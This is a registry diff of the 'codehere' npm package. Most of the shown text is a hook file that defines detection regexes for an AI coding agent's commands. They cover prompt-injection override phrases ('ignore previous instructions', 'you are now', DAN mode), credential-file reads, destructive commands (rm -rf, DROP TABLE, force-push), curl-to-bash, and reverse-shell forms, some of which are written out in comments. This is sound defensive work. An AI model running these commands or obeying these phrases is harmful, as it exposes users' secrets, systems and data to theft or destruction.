codehere 0.2.2 → 0.3.0-rc.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (235) hide show
  1. package/README.md +88 -68
  2. package/dist/domain/entities/task.js +4 -4
  3. package/dist/error-handler.js +4 -9
  4. package/dist/index.js +253 -1219
  5. package/dist/infrastructure/config/product-context.js +7 -6
  6. package/dist/infrastructure/hooks/claude-sdk-hook.js +335 -63
  7. package/dist/infrastructure/observability/execution-tracer.js +11 -6
  8. package/dist/infrastructure/orchestration/agent-adapter.js +13 -0
  9. package/dist/infrastructure/orchestration/agent-installer.js +101 -0
  10. package/dist/infrastructure/orchestration/agents-config-seed.js +56 -0
  11. package/dist/infrastructure/orchestration/aider-adapter.js +319 -0
  12. package/dist/infrastructure/orchestration/artifacts-extractor.js +175 -0
  13. package/dist/infrastructure/orchestration/claude-code-adapter.js +352 -0
  14. package/dist/infrastructure/orchestration/codex-adapter.js +310 -0
  15. package/dist/infrastructure/orchestration/generic-cli-adapter.js +553 -0
  16. package/dist/infrastructure/orchestration/opencode-adapter.js +275 -0
  17. package/dist/infrastructure/orchestration/progress-aggregator.js +189 -0
  18. package/dist/infrastructure/orchestration/readiness.js +106 -0
  19. package/dist/infrastructure/orchestration/session-manager.js +272 -0
  20. package/dist/infrastructure/orchestration/session-persistence.js +109 -0
  21. package/dist/infrastructure/protocols/mcp-helpers.js +10 -30
  22. package/dist/infrastructure/protocols/mcp-server-impl.js +359 -21
  23. package/dist/infrastructure/protocols/ui-page.js +1827 -0
  24. package/dist/infrastructure/security/file-collection.js +115 -0
  25. package/dist/infrastructure/security/trust-scorer.js +301 -56
  26. package/dist/infrastructure/storage/task-repository.js +8 -7
  27. package/dist/monitoring.js +9 -38
  28. package/dist/presentation/cli/commands/help-command.js +96 -139
  29. package/dist/presentation/cli/commands/hook-command.js +17 -24
  30. package/dist/presentation/cli/commands/report-command.js +59 -72
  31. package/dist/presentation/cli/commands/setup-command.js +4 -4
  32. package/dist/presentation/cli/commands/status-command.js +321 -30
  33. package/dist/presentation/cli/commands/trust-command.js +84 -72
  34. package/dist/presentation/cli/error-display.js +17 -21
  35. package/dist/ui.js +11 -11
  36. package/package.json +24 -62
  37. package/dist/agents/base.js +0 -101
  38. package/dist/agents/orchestrator-model-driven.js +0 -141
  39. package/dist/agents/react-orchestrator-agent.js +0 -54
  40. package/dist/application/agents/execution-agent.js +0 -508
  41. package/dist/application/agents/multi-agent-orchestrator.js +0 -295
  42. package/dist/application/agents/planning-agent.js +0 -433
  43. package/dist/application/agents/validation-agent.js +0 -317
  44. package/dist/application/architectures/plan-and-act.js +0 -242
  45. package/dist/application/index.js +0 -12
  46. package/dist/application/services/agent-factory.js +0 -28
  47. package/dist/application/services/dependency-container.js +0 -596
  48. package/dist/application/services/git-context-service.js +0 -83
  49. package/dist/application/services/intelligent-router.js +0 -934
  50. package/dist/application/services/tool-executor-service.js +0 -94
  51. package/dist/application/use-cases/ask-question-use-case.js +0 -338
  52. package/dist/application/use-cases/edit-file-use-case.js +0 -830
  53. package/dist/application/use-cases/explain-file-use-case.js +0 -50
  54. package/dist/application/use-cases/index-codebase-use-case.js +0 -113
  55. package/dist/application/use-cases/planning-use-case.js +0 -276
  56. package/dist/application/use-cases/react-orchestration-use-case.js +0 -329
  57. package/dist/application/use-cases/reflexion-use-case.js +0 -30
  58. package/dist/application/workflows/deterministic-workflows.js +0 -189
  59. package/dist/ast-parser.js +0 -331
  60. package/dist/cache.js +0 -180
  61. package/dist/chat.js +0 -251
  62. package/dist/code-analysis.js +0 -327
  63. package/dist/context.js +0 -187
  64. package/dist/docs.js +0 -146
  65. package/dist/domain/entities/code-chunk.js +0 -6
  66. package/dist/domain/entities/decision.js +0 -9
  67. package/dist/domain/entities/edit.js +0 -6
  68. package/dist/domain/entities/knowledge-node.js +0 -9
  69. package/dist/domain/entities/knowledge-preservation.js +0 -10
  70. package/dist/domain/entities/memory.js +0 -6
  71. package/dist/domain/entities/pattern.js +0 -7
  72. package/dist/domain/entities/plan.js +0 -6
  73. package/dist/domain/entities/query.js +0 -6
  74. package/dist/domain/errors/embeddings-not-found-error.js +0 -13
  75. package/dist/domain/index.js +0 -19
  76. package/dist/domain/interfaces/ai-service.interface.js +0 -6
  77. package/dist/domain/interfaces/code-analyzer.interface.js +0 -6
  78. package/dist/domain/interfaces/decision-repository.interface.js +0 -9
  79. package/dist/domain/interfaces/embedding-repository.interface.js +0 -6
  80. package/dist/domain/interfaces/knowledge-graph-repository.interface.js +0 -9
  81. package/dist/domain/interfaces/knowledge-preservation-repository.interface.js +0 -8
  82. package/dist/domain/interfaces/memory-repository.interface.js +0 -6
  83. package/dist/domain/interfaces/pattern-repository.interface.js +0 -6
  84. package/dist/domain/interfaces/verification-service.interface.js +0 -6
  85. package/dist/domain/services/cross-team-pattern-sharing.js +0 -125
  86. package/dist/domain/services/decision-recorder.js +0 -223
  87. package/dist/domain/services/decision-retriever.js +0 -133
  88. package/dist/domain/services/environment-mode-manager.js +0 -22
  89. package/dist/domain/services/graded-memory-activation.js +0 -69
  90. package/dist/domain/services/knowledge-access.js +0 -132
  91. package/dist/domain/services/knowledge-extractor.js +0 -247
  92. package/dist/domain/services/knowledge-graph-builder.js +0 -268
  93. package/dist/domain/services/knowledge-graph-query.js +0 -187
  94. package/dist/domain/services/memory-retriever.js +0 -82
  95. package/dist/domain/services/memory-synthesizer.js +0 -91
  96. package/dist/domain/services/pattern-extractor.js +0 -442
  97. package/dist/domain/services/query-intent-classifier.js +0 -140
  98. package/dist/domain/services/react-loop.js +0 -186
  99. package/dist/domain/services/risk-tier-detector.js +0 -78
  100. package/dist/edit.js +0 -319
  101. package/dist/embed.js +0 -459
  102. package/dist/formatter.js +0 -168
  103. package/dist/git.js +0 -198
  104. package/dist/infrastructure/ai/cohere-ai-service.js +0 -607
  105. package/dist/infrastructure/ai/command-r-evaluation.js +0 -206
  106. package/dist/infrastructure/ai/model-config.js +0 -84
  107. package/dist/infrastructure/ai/provider-ai-service.js +0 -477
  108. package/dist/infrastructure/cache/embedding-cache.js +0 -175
  109. package/dist/infrastructure/cache/query-result-cache.js +0 -66
  110. package/dist/infrastructure/cache/response-cache.js +0 -48
  111. package/dist/infrastructure/cache/security-scan-cache.js +0 -47
  112. package/dist/infrastructure/chunking/ast-code-chunker.js +0 -19
  113. package/dist/infrastructure/chunking/code-aware-chunker.js +0 -397
  114. package/dist/infrastructure/context/context-compressor.js +0 -329
  115. package/dist/infrastructure/context/conversation-context.js +0 -128
  116. package/dist/infrastructure/context/session-manager.js +0 -94
  117. package/dist/infrastructure/cost/cost-tracker.js +0 -360
  118. package/dist/infrastructure/file-scanner/file-scanner.js +0 -106
  119. package/dist/infrastructure/governance/nist-ai-rmf.js +0 -292
  120. package/dist/infrastructure/governance/policy-as-code.js +0 -258
  121. package/dist/infrastructure/governance/prompt-to-code-lineage.js +0 -239
  122. package/dist/infrastructure/index.js +0 -7
  123. package/dist/infrastructure/observability/prompt-versioner.js +0 -145
  124. package/dist/infrastructure/protocols/a2a-metadata.js +0 -137
  125. package/dist/infrastructure/protocols/a2a-protocol.js +0 -314
  126. package/dist/infrastructure/protocols/mcp-oauth.js +0 -184
  127. package/dist/infrastructure/protocols/mcp-server.js +0 -333
  128. package/dist/infrastructure/protocols/streaming-handler.js +0 -103
  129. package/dist/infrastructure/providers/cohere-provider.js +0 -444
  130. package/dist/infrastructure/providers/fake-provider.js +0 -130
  131. package/dist/infrastructure/providers/local-llm-provider.js +0 -330
  132. package/dist/infrastructure/providers/model-config.types.js +0 -9
  133. package/dist/infrastructure/providers/model-provider.interface.js +0 -8
  134. package/dist/infrastructure/providers/openai-provider.js +0 -413
  135. package/dist/infrastructure/providers/openrouter-provider.js +0 -399
  136. package/dist/infrastructure/providers/operation-provider-resolver.js +0 -105
  137. package/dist/infrastructure/providers/provider-config-loader.js +0 -120
  138. package/dist/infrastructure/providers/provider-registry.js +0 -88
  139. package/dist/infrastructure/safety/pattern-detector.js +0 -133
  140. package/dist/infrastructure/security/ai-sast-scanner.js +0 -290
  141. package/dist/infrastructure/security/docker-sandbox.js +0 -178
  142. package/dist/infrastructure/security/enhanced-security-gate.js +0 -151
  143. package/dist/infrastructure/security/license-scanner.js +0 -167
  144. package/dist/infrastructure/security/provider-bias-detector.js +0 -164
  145. package/dist/infrastructure/security/sandbox-executor.js +0 -64
  146. package/dist/infrastructure/serialization/toon-serializer.js +0 -119
  147. package/dist/infrastructure/storage/memory-stream-service.js +0 -204
  148. package/dist/infrastructure/storage/plan-repository.js +0 -96
  149. package/dist/infrastructure/storage/sqlite-decision-repository.js +0 -232
  150. package/dist/infrastructure/storage/sqlite-embedding-repository.js +0 -311
  151. package/dist/infrastructure/storage/sqlite-knowledge-graph-repository.js +0 -417
  152. package/dist/infrastructure/storage/sqlite-knowledge-preservation-repository.js +0 -230
  153. package/dist/infrastructure/storage/sqlite-memory-repository.js +0 -229
  154. package/dist/infrastructure/storage/sqlite-pattern-repository.js +0 -249
  155. package/dist/infrastructure/storage/task-helpers.js +0 -197
  156. package/dist/infrastructure/telemetry/telemetry-service.js +0 -167
  157. package/dist/infrastructure/ux/appropriate-friction.js +0 -213
  158. package/dist/infrastructure/ux/bi-directional-learning.js +0 -337
  159. package/dist/infrastructure/ux/capability-boundaries.js +0 -42
  160. package/dist/infrastructure/ux/comprehensive-formatter.js +0 -117
  161. package/dist/infrastructure/ux/contextual-feature-discovery.js +0 -10
  162. package/dist/infrastructure/ux/expectation-management.js +0 -327
  163. package/dist/infrastructure/ux/feature-discovery.js +0 -14
  164. package/dist/infrastructure/ux/feedback-prompt.js +0 -45
  165. package/dist/infrastructure/ux/hitl-validation.js +0 -297
  166. package/dist/infrastructure/ux/progress-indicator.js +0 -116
  167. package/dist/infrastructure/ux/progressive-disclosure.js +0 -236
  168. package/dist/infrastructure/ux/review-checkpoint.js +0 -72
  169. package/dist/infrastructure/ux/staged-feature-intro.js +0 -24
  170. package/dist/infrastructure/ux/stream-markdown.js +0 -151
  171. package/dist/infrastructure/ux/syntax-highlighter.js +0 -91
  172. package/dist/infrastructure/ux/team-standards.js +0 -196
  173. package/dist/infrastructure/ux/transparency.js +0 -71
  174. package/dist/infrastructure/validation/agent-feedback.js +0 -55
  175. package/dist/infrastructure/validation/agent-validation-helper.js +0 -137
  176. package/dist/infrastructure/validation/review-handler.js +0 -40
  177. package/dist/infrastructure/validation/summary-aggregator.js +0 -70
  178. package/dist/infrastructure/validation/summary-extractor.js +0 -45
  179. package/dist/infrastructure/validation/trace-summary.js +0 -52
  180. package/dist/infrastructure/verification/verification-service.js +0 -47
  181. package/dist/infrastructure/xai/attention-visualizer.js +0 -172
  182. package/dist/infrastructure/xai/cot-visualizer.js +0 -283
  183. package/dist/infrastructure/xai/decision-tree-log.js +0 -212
  184. package/dist/infrastructure/xai/interactive-xai.js +0 -260
  185. package/dist/infrastructure/xai/uncertainty-quantifier.js +0 -198
  186. package/dist/intelligent-retrieval.js +0 -272
  187. package/dist/intent/classifier.js +0 -2
  188. package/dist/intent/context.js +0 -2
  189. package/dist/iterative-refinement.js +0 -189
  190. package/dist/learning.js +0 -232
  191. package/dist/log.js +0 -31
  192. package/dist/migrate.js +0 -133
  193. package/dist/parallel-processor.js +0 -534
  194. package/dist/planner.js +0 -198
  195. package/dist/policy.js +0 -26
  196. package/dist/presentation/cli/commands/ask-command.js +0 -314
  197. package/dist/presentation/cli/commands/cost-command.js +0 -191
  198. package/dist/presentation/cli/commands/decision-command.js +0 -207
  199. package/dist/presentation/cli/commands/docs-command.js +0 -25
  200. package/dist/presentation/cli/commands/fix-command.js +0 -53
  201. package/dist/presentation/cli/commands/knowledge-command.js +0 -129
  202. package/dist/presentation/cli/commands/learning-dashboard-command.js +0 -183
  203. package/dist/presentation/cli/commands/models-command.js +0 -194
  204. package/dist/presentation/cli/commands/orchestrate-command.js +0 -207
  205. package/dist/presentation/cli/commands/plan-command.js +0 -246
  206. package/dist/presentation/cli/commands/product-command.js +0 -199
  207. package/dist/presentation/cli/commands/react-command.js +0 -181
  208. package/dist/presentation/cli/commands/review-command.js +0 -154
  209. package/dist/presentation/cli/commands/run-command.js +0 -188
  210. package/dist/presentation/cli/commands/smart-command.js +0 -395
  211. package/dist/presentation/cli/commands/suggest-command.js +0 -138
  212. package/dist/presentation/cli/commands/trace-command.js +0 -129
  213. package/dist/presentation/cli/commands/undo-command.js +0 -150
  214. package/dist/query-optimizer.js +0 -205
  215. package/dist/refactor.js +0 -116
  216. package/dist/review.js +0 -206
  217. package/dist/search.js +0 -163
  218. package/dist/session.js +0 -704
  219. package/dist/task-verification.js +0 -336
  220. package/dist/testgen.js +0 -166
  221. package/dist/token-optimizer.js +0 -277
  222. package/dist/tools/bash.js +0 -213
  223. package/dist/tools/edit.js +0 -235
  224. package/dist/tools/executor.js +0 -153
  225. package/dist/tools/git-tool.js +0 -292
  226. package/dist/tools/parser.js +0 -158
  227. package/dist/tools/registry.js +0 -302
  228. package/dist/tools/search.js +0 -100
  229. package/dist/types.js +0 -2
  230. package/dist/utils/check-api-status.js +0 -100
  231. package/dist/utils/diff-parser.js +0 -162
  232. package/dist/verification/backup.js +0 -259
  233. package/dist/verification/compiler.js +0 -264
  234. package/dist/verification/index.js +0 -273
  235. package/dist/verification/test-runner.js +0 -379
@@ -35,9 +35,12 @@ export function saveProductContext(ctx, cwd = process.cwd()) {
35
35
  * Returns a plain-English risk label for use in recommendations.
36
36
  */
37
37
  export function riskLabel(level) {
38
- return level === 'critical' ? 'critical-risk'
39
- : level === 'high' ? 'high-risk'
40
- : level === 'medium' ? 'production'
38
+ return level === 'critical'
39
+ ? 'critical-risk'
40
+ : level === 'high'
41
+ ? 'high-risk'
42
+ : level === 'medium'
43
+ ? 'production'
41
44
  : 'low-risk';
42
45
  }
43
46
  /**
@@ -47,9 +50,7 @@ export function riskLabel(level) {
47
50
  export function adjustRecommendation(base, criticalCount, highCount, score, ctx) {
48
51
  if (!ctx)
49
52
  return base;
50
- const prefix = ctx.productionApp
51
- ? `${ctx.name || 'Production app'} · `
52
- : '';
53
+ const prefix = ctx.productionApp ? `${ctx.name || 'Production app'} · ` : '';
53
54
  if (criticalCount > 0) {
54
55
  return `${prefix}${criticalCount} critical issue${criticalCount !== 1 ? 's' : ''} — fix before this goes to production.`;
55
56
  }
@@ -18,64 +18,335 @@ import { join } from 'path';
18
18
  import { homedir } from 'os';
19
19
  const PATTERNS = [
20
20
  // Prompt Injection
21
- { regex: /ignore\s+(previous|prior|above|all|your)\s+(instructions?|rules?|prompts?|guidelines?)/i, severity: 'critical', category: 'Prompt Injection', description: 'Attempts to override system instructions' },
22
- { regex: /disregard\s+(previous|prior|all|your)\s+(instructions?|rules?|prompts?)/i, severity: 'critical', category: 'Prompt Injection', description: 'Disregard instruction override' },
23
- { regex: /forget\s+(everything|all|previous|your)\s*(instructions?|rules?|context)?/i, severity: 'critical', category: 'Prompt Injection', description: 'Context clearing attempt' },
24
- { regex: /you\s+are\s+now\s+(a|an|my)|new\s+role\s*:|act\s+as\s+(a|an|if)/i, severity: 'critical', category: 'Prompt Injection', description: 'Role hijacking attempt' },
25
- { regex: /system\s*prompt|<\/?system>|(?<!['"\\])<\/?instruction>/i, severity: 'critical', category: 'Prompt Injection', description: 'System prompt injection' },
26
- { regex: /\bdo\s+not\s+(follow|obey|listen|comply)\b/i, severity: 'critical', category: 'Prompt Injection', description: 'Instruction override attempt' },
27
- { regex: /jailbreak|DAN\s+mode|developer\s+mode\s+enabled/i, severity: 'critical', category: 'Prompt Injection', description: 'Jailbreak attempt' },
28
- { regex: /bypass\s+(safety|restrictions?|filters?|guidelines?)/i, severity: 'critical', category: 'Prompt Injection', description: 'Safety bypass attempt' },
29
- { regex: /\[INST\]|\[\/INST\]|###\s*human:|###\s*assistant:/i, severity: 'high', category: 'Prompt Injection', description: 'Prompt template injection' },
30
- { regex: /override\s+(safety|security|policy|restrictions?)/i, severity: 'critical', category: 'Prompt Injection', description: 'Policy override attempt' },
21
+ // Allow chained modifiers: "ignore all previous instructions", "ignore all your prior rules", etc.
22
+ {
23
+ regex: /ignore\s+(?:(?:previous|prior|above|all|your|the)\s+){1,4}(?:instructions?|rules?|prompts?|guidelines?)/i,
24
+ severity: 'critical',
25
+ category: 'Prompt Injection',
26
+ description: 'Attempts to override system instructions',
27
+ },
28
+ {
29
+ regex: /disregard\s+(previous|prior|all|your)\s+(instructions?|rules?|prompts?)/i,
30
+ severity: 'critical',
31
+ category: 'Prompt Injection',
32
+ description: 'Disregard instruction override',
33
+ },
34
+ {
35
+ regex: /forget\s+(everything|all|previous|your)\s*(instructions?|rules?|context)?/i,
36
+ severity: 'critical',
37
+ category: 'Prompt Injection',
38
+ description: 'Context clearing attempt',
39
+ },
40
+ {
41
+ regex: /you\s+are\s+now\s+(a|an|my)|new\s+role\s*:|act\s+as\s+(a|an|if)/i,
42
+ severity: 'critical',
43
+ category: 'Prompt Injection',
44
+ description: 'Role hijacking attempt',
45
+ },
46
+ {
47
+ regex: /system\s*prompt|<\/?system>|(?<!['"\\])<\/?instruction>/i,
48
+ severity: 'critical',
49
+ category: 'Prompt Injection',
50
+ description: 'System prompt injection',
51
+ },
52
+ {
53
+ regex: /\bdo\s+not\s+(follow|obey|listen|comply)\b/i,
54
+ severity: 'critical',
55
+ category: 'Prompt Injection',
56
+ description: 'Instruction override attempt',
57
+ },
58
+ {
59
+ regex: /jailbreak|DAN\s+mode|developer\s+mode\s+enabled/i,
60
+ severity: 'critical',
61
+ category: 'Prompt Injection',
62
+ description: 'Jailbreak attempt',
63
+ },
64
+ {
65
+ regex: /bypass\s+(safety|restrictions?|filters?|guidelines?)/i,
66
+ severity: 'critical',
67
+ category: 'Prompt Injection',
68
+ description: 'Safety bypass attempt',
69
+ },
70
+ {
71
+ regex: /\[INST\]|\[\/INST\]|###\s*human:|###\s*assistant:/i,
72
+ severity: 'high',
73
+ category: 'Prompt Injection',
74
+ description: 'Prompt template injection',
75
+ },
76
+ {
77
+ regex: /override\s+(safety|security|policy|restrictions?)/i,
78
+ severity: 'critical',
79
+ category: 'Prompt Injection',
80
+ description: 'Policy override attempt',
81
+ },
31
82
  // Credential Theft
32
- { regex: /cat\s+~?\/?(\.env|\.secrets?|credentials?|\.aws\/credentials)/i, severity: 'critical', category: 'Credential Theft', description: 'Reads credential files' },
33
- { regex: /echo\s+\$\s*(API_KEY|SECRET|TOKEN|PASSWORD|PRIVATE_KEY)/i, severity: 'critical', category: 'Credential Theft', description: 'Exfiltrates env secrets' },
34
- { regex: /printenv|env\s*\|\s*(grep|curl|wget|nc)\b/i, severity: 'high', category: 'Credential Theft', description: 'Environment variable exfiltration' },
35
- { regex: /curl.*\$(API_KEY|TOKEN|SECRET|PASSWORD)/i, severity: 'critical', category: 'Credential Theft', description: 'API key exfiltration via curl' },
36
- { regex: /ssh-keygen|cat\s+~\/.ssh\/(id_rsa|id_ed25519|authorized_keys)/i, severity: 'high', category: 'Credential Theft', description: 'SSH key access' },
37
- { regex: /keychain|security\s+find-generic-password/i, severity: 'high', category: 'Credential Theft', description: 'macOS keychain access attempt' },
38
- { regex: /OPENAI_API_KEY|ANTHROPIC_API_KEY|GITHUB_TOKEN/i, severity: 'high', category: 'Credential Theft', description: 'Known API key reference' },
39
- { regex: /\bsecret_key\b|\bapi_secret\b|\bauth_token\b/i, severity: 'medium', category: 'Credential Theft', description: 'Secret key reference' },
40
- { regex: /curl.*webhook.*\$\w+|wget.*\$\w+.*credentials/i, severity: 'critical', category: 'Credential Theft', description: 'Credential webhook exfiltration' },
41
- { regex: /\/proc\/\d+\/environ|\/etc\/shadow/i, severity: 'critical', category: 'Credential Theft', description: 'System credential file access' },
83
+ {
84
+ regex: /cat\s+~?\/?(\.env|\.secrets?|credentials?|\.aws\/credentials)/i,
85
+ severity: 'critical',
86
+ category: 'Credential Theft',
87
+ description: 'Reads credential files',
88
+ },
89
+ {
90
+ regex: /echo\s+\$\s*(API_KEY|SECRET|TOKEN|PASSWORD|PRIVATE_KEY)/i,
91
+ severity: 'critical',
92
+ category: 'Credential Theft',
93
+ description: 'Exfiltrates env secrets',
94
+ },
95
+ {
96
+ regex: /printenv|env\s*\|\s*(grep|curl|wget|nc)\b/i,
97
+ severity: 'high',
98
+ category: 'Credential Theft',
99
+ description: 'Environment variable exfiltration',
100
+ },
101
+ {
102
+ regex: /curl.*\$(API_KEY|TOKEN|SECRET|PASSWORD)/i,
103
+ severity: 'critical',
104
+ category: 'Credential Theft',
105
+ description: 'API key exfiltration via curl',
106
+ },
107
+ // Reading SSH private keys is never benign in dev workflow — promote to critical.
108
+ // ssh-keygen alone (key generation) stays 'high' since it's also a legitimate setup operation.
109
+ {
110
+ regex: /cat\s+~?\/?\.ssh\/(id_rsa|id_ed25519|id_ecdsa|id_dsa)\b/i,
111
+ severity: 'critical',
112
+ category: 'Credential Theft',
113
+ description: 'Reads SSH private key',
114
+ },
115
+ {
116
+ regex: /ssh-keygen|cat\s+~?\/?\.ssh\/authorized_keys/i,
117
+ severity: 'high',
118
+ category: 'Credential Theft',
119
+ description: 'SSH key tooling access',
120
+ },
121
+ {
122
+ regex: /keychain|security\s+find-generic-password/i,
123
+ severity: 'high',
124
+ category: 'Credential Theft',
125
+ description: 'macOS keychain access attempt',
126
+ },
127
+ {
128
+ regex: /OPENAI_API_KEY|ANTHROPIC_API_KEY|GITHUB_TOKEN/i,
129
+ severity: 'high',
130
+ category: 'Credential Theft',
131
+ description: 'Known API key reference',
132
+ },
133
+ {
134
+ regex: /\bsecret_key\b|\bapi_secret\b|\bauth_token\b/i,
135
+ severity: 'medium',
136
+ category: 'Credential Theft',
137
+ description: 'Secret key reference',
138
+ },
139
+ {
140
+ regex: /curl.*webhook.*\$\w+|wget.*\$\w+.*credentials/i,
141
+ severity: 'critical',
142
+ category: 'Credential Theft',
143
+ description: 'Credential webhook exfiltration',
144
+ },
145
+ {
146
+ regex: /\/proc\/\d+\/environ|\/etc\/shadow/i,
147
+ severity: 'critical',
148
+ category: 'Credential Theft',
149
+ description: 'System credential file access',
150
+ },
42
151
  // Destructive Operations
43
- { regex: /rm\s+-rf?\s+(\/|~|\.\.|\*|\/home|\/etc|\/var|\/usr)/i, severity: 'critical', category: 'Destructive', description: 'Recursive deletion of system/home directories' },
44
- { regex: /delete\s+all\s+files|wipe\s+(disk|drive|everything)|format\s+[a-z]:/i, severity: 'critical', category: 'Destructive', description: 'Mass file deletion' },
45
- { regex: />\s*\/dev\/(sda|hda|vda|nvme)|dd\s+if=.*of=\/dev/i, severity: 'critical', category: 'Destructive', description: 'Raw disk write attempt' },
46
- { regex: /DROP\s+TABLE|DROP\s+DATABASE|TRUNCATE\s+TABLE/i, severity: 'critical', category: 'Destructive', description: 'Database destruction' },
47
- { regex: /git\s+(push\s+--force|reset\s+--hard)\s+origin/i, severity: 'high', category: 'Destructive', description: 'Force push or hard reset to remote' },
48
- { regex: /shutdown\s+-[hr]|reboot\s+--force|init\s+0/i, severity: 'high', category: 'Destructive', description: 'System shutdown/reboot' },
49
- { regex: /pkill\s+-9\s+(node|python|ruby|java)\b/i, severity: 'medium', category: 'Destructive', description: 'Process mass termination' },
50
- { regex: /crontab\s+-r|at\s+now.*rm|systemctl\s+disable\s+--now/i, severity: 'high', category: 'Destructive', description: 'Scheduled destruction' },
152
+ // Block rm -rf against system roots or a user's whole home — but allow
153
+ // routine deletion under /tmp, ~/Library/Caches, node_modules, etc.
154
+ // Previous pattern included bare `\/` which matched any path starting
155
+ // with `/` (so `rm -rf /tmp/foo` was blocked). The alternatives below
156
+ // require an explicit system target or a bare home reference.
157
+ {
158
+ regex: /rm\s+-rf?\s+(?:\/(?:["'\s]|$|\*)|\/(?:home|etc|var|usr|bin|sbin|System|Library|opt|root|boot|dev)\b|~(?:["'\s]|$|\/(?:["'\s]|$|\*))|\$HOME(?:["'\s]|$|\/(?:["'\s]|$|\*))|\.\.(?:["'\s]|$))/im,
159
+ severity: 'critical',
160
+ category: 'Destructive',
161
+ description: 'Recursive deletion of system/home directories',
162
+ },
163
+ {
164
+ regex: /delete\s+all\s+files|wipe\s+(disk|drive|everything)|format\s+[a-z]:/i,
165
+ severity: 'critical',
166
+ category: 'Destructive',
167
+ description: 'Mass file deletion',
168
+ },
169
+ {
170
+ regex: />\s*\/dev\/(sda|hda|vda|nvme)|dd\s+if=.*of=\/dev/i,
171
+ severity: 'critical',
172
+ category: 'Destructive',
173
+ description: 'Raw disk write attempt',
174
+ },
175
+ {
176
+ regex: /DROP\s+TABLE|DROP\s+DATABASE|TRUNCATE\s+TABLE/i,
177
+ severity: 'critical',
178
+ category: 'Destructive',
179
+ description: 'Database destruction',
180
+ },
181
+ // Force-push or hard reset against main/master/production is irreversible loss of shared history — critical.
182
+ // Force-push to other branches stays 'high' since rebase-and-force-push to feature branches is routine.
183
+ {
184
+ regex: /git\s+(?:push\s+(?:--force|-f)|reset\s+--hard)\s+\S*origin\s+(main|master|production|release|prod)\b/i,
185
+ severity: 'critical',
186
+ category: 'Destructive',
187
+ description: 'Force push or hard reset to a protected branch',
188
+ },
189
+ {
190
+ regex: /git\s+(push\s+(?:--force|-f)|reset\s+--hard)\s+origin/i,
191
+ severity: 'high',
192
+ category: 'Destructive',
193
+ description: 'Force push or hard reset to remote',
194
+ },
195
+ {
196
+ regex: /shutdown\s+-[hr]|reboot\s+--force|init\s+0/i,
197
+ severity: 'high',
198
+ category: 'Destructive',
199
+ description: 'System shutdown/reboot',
200
+ },
201
+ {
202
+ regex: /pkill\s+-9\s+(node|python|ruby|java)\b/i,
203
+ severity: 'medium',
204
+ category: 'Destructive',
205
+ description: 'Process mass termination',
206
+ },
207
+ {
208
+ regex: /crontab\s+-r|at\s+now.*rm|systemctl\s+disable\s+--now/i,
209
+ severity: 'high',
210
+ category: 'Destructive',
211
+ description: 'Scheduled destruction',
212
+ },
51
213
  // Code/Command Injection
52
214
  // NOTE: patterns match execution intent, not grep/search of these strings.
53
215
  // A command starting with "grep", "rg", "ag", or "find" is a search, not execution —
54
216
  // those are pre-filtered in buildScanPayload before patterns run.
55
- { regex: /curl\s+\S+\s*\|\s*(bash|sh|python|ruby|perl|node)\b/i, severity: 'critical', category: 'Code Injection', description: 'Remote script piped directly to shell' },
56
- { regex: /wget\s+(-qO-\s+)?https?:\/\/\S+\s*\|\s*(bash|sh)/i, severity: 'critical', category: 'Code Injection', description: 'Remote code execution via wget' },
57
- { regex: /node\s+-e\s+["'].*eval\s*\(|node\s+-e\s+["'].*require\s*\(/i, severity: 'critical', category: 'Code Injection', description: 'Inline node eval execution' },
58
- { regex: /eval\s*\(.*process\.env\.|eval\s*\(.*\$_(GET|POST|REQUEST)/i, severity: 'critical', category: 'Code Injection', description: 'eval() with external or env input' },
59
- { regex: /exec\s*\(\s*['"]\s*system/i, severity: 'critical', category: 'Code Injection', description: 'System shell from code' },
60
- { regex: /python\s+-c\s+["']import\s+os;os\.system/i, severity: 'high', category: 'Code Injection', description: 'Python shell injection' },
61
- { regex: /nc\s+-[eln]+\s+\d{1,3}\.\d{1,3}|bash\s+-i\s+>&\s*\/dev\/tcp/i, severity: 'critical', category: 'Code Injection', description: 'Reverse shell attempt' },
62
- { regex: /\bbase64\b.*\|.*(bash|sh)\b|\bbase64\b.*exec/i, severity: 'critical', category: 'Code Injection', description: 'Base64-encoded code execution' },
63
- { regex: /\$\(curl|subprocess\.run\(['"]curl/i, severity: 'high', category: 'Code Injection', description: 'Command substitution with curl' },
217
+ {
218
+ regex: /curl\s+\S+\s*\|\s*(bash|sh|python|ruby|perl|node)\b/i,
219
+ severity: 'critical',
220
+ category: 'Code Injection',
221
+ description: 'Remote script piped directly to shell',
222
+ },
223
+ {
224
+ regex: /wget\s+(-qO-\s+)?https?:\/\/\S+\s*\|\s*(bash|sh)/i,
225
+ severity: 'critical',
226
+ category: 'Code Injection',
227
+ description: 'Remote code execution via wget',
228
+ },
229
+ {
230
+ regex: /node\s+-e\s+["'].*eval\s*\(|node\s+-e\s+["'].*require\s*\(/i,
231
+ severity: 'critical',
232
+ category: 'Code Injection',
233
+ description: 'Inline node eval execution',
234
+ },
235
+ {
236
+ regex: /eval\s*\(.*process\.env\.|eval\s*\(.*\$_(GET|POST|REQUEST)/i,
237
+ severity: 'critical',
238
+ category: 'Code Injection',
239
+ description: 'eval() with external or env input',
240
+ },
241
+ {
242
+ regex: /exec\s*\(\s*['"]\s*system/i,
243
+ severity: 'critical',
244
+ category: 'Code Injection',
245
+ description: 'System shell from code',
246
+ },
247
+ {
248
+ regex: /python\s+-c\s+["']import\s+os;os\.system/i,
249
+ severity: 'high',
250
+ category: 'Code Injection',
251
+ description: 'Python shell injection',
252
+ },
253
+ // Reverse shell forms:
254
+ // nc -e /bin/bash 1.2.3.4 4444 (binary between -e and IP)
255
+ // nc -e 1.2.3.4 4444 (IP directly after -e)
256
+ // bash -i >& /dev/tcp/host/port (bash builtin)
257
+ {
258
+ regex: /nc\s+-[eln]+(?:\s+\S+)?\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|bash\s+-i\s+>&\s*\/dev\/tcp/i,
259
+ severity: 'critical',
260
+ category: 'Code Injection',
261
+ description: 'Reverse shell attempt',
262
+ },
263
+ {
264
+ regex: /\bbase64\b.*\|.*(bash|sh)\b|\bbase64\b.*exec/i,
265
+ severity: 'critical',
266
+ category: 'Code Injection',
267
+ description: 'Base64-encoded code execution',
268
+ },
269
+ {
270
+ regex: /\$\(curl|subprocess\.run\(['"]curl/i,
271
+ severity: 'high',
272
+ category: 'Code Injection',
273
+ description: 'Command substitution with curl',
274
